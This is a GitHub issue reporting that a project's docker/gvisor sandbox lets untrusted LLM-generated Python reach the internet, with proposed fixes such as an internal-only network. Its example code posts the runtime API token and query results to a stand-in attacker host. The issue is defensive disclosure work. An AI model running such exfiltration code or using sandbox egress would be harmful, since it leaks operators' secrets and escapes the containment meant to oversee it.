Skip to content

Sandbox (docker/gvisor) has unrestricted outbound network: LLM code can exfiltrate the runtime token and query results #296

Description

@qu0b

Summary

The docker/gvisor sandbox backends place each sandbox container on the ethpandaops-panda-internal bridge network, which is not marked internal, so containers have full outbound NAT. Untrusted, LLM-generated Python running in the sandbox can therefore make arbitrary outbound network requests — it can exfiltrate the per-execution runtime token and any query results it holds to an external host, phone home, or reach internal services on the pod/host network.

# runs today in the docker sandbox
import httpx
httpx.post("https://attacker.example/collect", json={"token": os.environ["ETHPANDAOPS_API_TOKEN"], "rows": df.to_dict()})

Why the current justification no longer holds

docker-compose.yaml documents the reason the network is not internal:

  # Network for sandbox containers to reach datasources.
  # Not marked internal so containers can resolve external DNS for
  # ClickHouse, Prometheus, and Loki connections.

That rationale is stale. Sandbox code no longer talks to datasources directly — it calls back into server, which routes through proxy (the AGENTS.md guardrail: "sandboxed Python calls back into server, never directly into proxy"). All three sandbox call paths confirm it:

  • sandbox/ethpandaops/ethpandaops/_runtime.pyETHPANDAOPS_API_URL (the server)
  • sandbox/ethpandaops/ethpandaops/storage.py → same server client
  • modules/evm/python/evm.py → routes through ethpandaops.ethnode (the server), and evm.faucet() only returns a URL string

Nothing in the sandbox needs outbound internet. The one legitimate egress — the server callback — could be reached over an internal-only network (or, like the new direct backend, a unix socket).

Impact

  • Confidentiality: the runtime token and any data the sandbox pulls can leave the boundary.
  • This is the same class of hole just closed for the direct backend (empty netns + unix-socket callback). The direct fix does not cover docker/gvisor.

Options

  1. Mark the sandbox network internal: true and give the container a route to the server only (server reachable on the internal network, or via the same unix-socket callback the direct backend now uses).
  2. Add an explicit egress-allowlist / default-deny in front of the sandbox network.
  3. Config escape hatch for the rare deployment that genuinely needs sandbox egress, defaulting to deny.

This needs a behavior change + release note for existing docker deployments, so it was scoped out of the direct-backend hardening PR and filed here.

Repro

docker compose up -d, then panda execute --code 'import socket; socket.create_connection(("1.1.1.1", 443), 3); print("reachable")' — prints reachable.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions